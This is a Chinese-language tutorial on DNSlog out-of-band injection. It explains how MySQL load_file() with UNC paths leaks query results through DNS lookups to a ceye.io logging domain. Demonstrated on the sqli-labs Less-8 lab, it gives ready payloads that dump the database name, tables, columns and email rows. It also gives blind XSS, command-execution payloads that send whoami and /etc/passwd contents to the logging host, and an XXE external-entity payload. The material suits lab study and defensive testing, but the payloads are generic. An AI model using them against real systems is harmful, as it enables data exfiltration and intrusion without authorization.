DNSlog注入
0x01 什么是DNSlog注入
DNSlog注入,也叫DNS带外查询,它是属于带外通信的一种(Out of Band,简称OOB)。
寻常的注入基本都是在同一个信道上面的,比如正常的get注入,先在url上插入payload做HTTP请求,然后得到HTTP返回包,没有涉及其他信道。而所谓的带外通信,至少涉及两个信道
信道:在计算机中指通信的通道,是信号传输的媒介。
0x02 DNS注入原理
-
攻击者先向web服务器提交payload语句,比如(
select load_file(concat('\\\\','攻击语句',.XXX.ceye.io\\abc))
) -
其中的攻击语句被放到数据库中会被执行,生成的结果与后面的
.XXX.ceye.io\\abc
构成一个新的域名 -
这时
load_file()
就可以发起请求,那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析 -
此时,如果我们可以查看DNS服务器上的Dnslog就可以得到SQL注入结果。那么我们如何获得这条DNS查询记录呢?注意注入语句中的
ceye.io
,这其实是一个开放的Dnslog平台(具体用法在官网可见),在http://ceye.io上我们可以获取到有关ceye.io
的DNS查询信息。实际上在域名解析的过程中,是由顶级域名向下逐级解析的,我们构造的攻击语句也是如此,当它发现域名中存在ceye.io
时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。当然还有其他可以使用的DNSlog平台,如http://www.dnslog.cn/。
这里我就使用http://ceye.io, 它是一个免费的记录dnslog的平台,注册后到Profile页面会给你一个二级域名:xxx.ceye.io,当我们把注入信息放到三级域名那里,后台的日志会记录下来。
0x03 使用场景和条件
sql的布尔型盲注、时间注入的效率普遍很低且当注入的线程太大容易被waf拦截,并且像一些命令执行,xss以及sql注入攻击有时无法看到回显结果,这时就可以考虑DNSlog注入攻击
一共是这四个场景:
- SQL盲注
- 命令执行(无回显)
- XSS(无回显)
- SSRF(无回显)
但有个重要条件:load_file()函数可以使用。
也就是说需要配置文件my.ini中secure_file_priv=
secure_file_priv配置说明
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
在mysql命令行中使用show variables like '%secure%';
可以查看secure_file_priv的情况
值为空,说明可以使用load_file()函数
另外还有几个注意事项:
-
dnslog注入只能用于windows平台,因为load_file这个函数的主要目的还是读取本地的文件,所以我们在拼接的时候需要在前面加上两个//,这两个斜杠的目的是为了使用load_file可以查询的unc路径。但是Linux服务器没有unc路径,也就无法使用dnslog注入。
-
在进行注入的时候,需要先使用测试代码判断该位置是否存在注入,然后再在后面拼接代码,因为对照pyload进行输入的话,可能会出现dnslog网站接收不到的情况。
-
在域名的后面,我们需要拼接一个文件名,这是因为load_file函数只能请求文件,如果不加后面的文件名,同样无法得到显示。
以下内容摘自百度:
什么是UNC路径?
UNC(Universal Naming Convention),通用命名规则
什么是UNC路径?UNC路径就是类似
\\softer
这样的形式的网络路径。UNC为网络(主要指局域网)上资源的完整Windows 2000名称。
格式:
\\servername\sharename
,其中servername是服务器名。sharename是共享资源的名称。目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
0x04 配合sql注入
这里我以sqlilabs靶场的lesson-8为例,是sql盲注,注入后不会有回显,那就用刚学的DNSlog来解决!!
- 首先报库名:
payload1:
http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'))--+
说明:
concat 可以拼接字符
load_file()读取文件
\\\\ 有两个\用于转义,转义后代表\\
在自己的ceye.io平台上查看DNSquery,发现解析记录,可以看到数据库名security
- 再报表名
payload2:
http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxx.ceye.io\\abc'))--+
可以看到一个emails表
- 再报列名
payload3:
http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='emails' limit 0,1),'.xxx.ceye.io\\abc'))--+
payload4:
http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='emails' limit 0,1),'.xxx.ceye.io\\abc'))--+
分别看到两个列
- 报数据:
因为在load_file里面不能使用@ ~等符号,所以要区分数据我们可以先用concat_ws()函数分割,再用hex()函数转成十六进制即可
得到结果再转回去
payload5:
http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select hex(concat_ws('~',id,email_id)) from emails limit 0,1),'.xxx.ceye.io\\abc'))--+
以上就是DNSlog注入的全部流程
注入期间我发现,可以将多个payload查询拼接在一起,比如如下注入方法:
http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select database()),'.',(select version()),'.xxx.ceye.io\\abc'))--+
效果如下:
通式:
http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(payload1),'.',(payload2),(......),'.xxx.ceye.io\\abc'))--+
0x05 配合其他攻击
- xss
除了SQL注入,DNSlog注入还可以配合其他漏洞使用,比如xss
通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:
payload:><img src=http://xss.xxx.ceye.io/aaa>
让src来请求我们的dnslog的平台
- 命令执行
说到命令执行,这里就要分windows平台和linux平台
- 在windows平台,利用ping命令,有如下payload
ping %COMPUTERNAME%.xxx.ceye.io
或者
ping %USERNAME%.xxx.ceye.io
执行成功,可以在dns平台上看到主机名或用户名
- 在linux平台,利用curl命令,有如下payload
curl http://ip.port.xxx.ceye.io/`whoami`
curl http://ip.port.xxx.ceye.io/`cat /etc/passwd`
反引号中可以写入各种linux命令
- SSRF
payload如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.xxx.ceye.io/xxe_test">
%remote;]>
<root/>
其实也算是和XXE配合使用
以上这些payload都可以在http://ceye.io/payloads中看到
参考文章: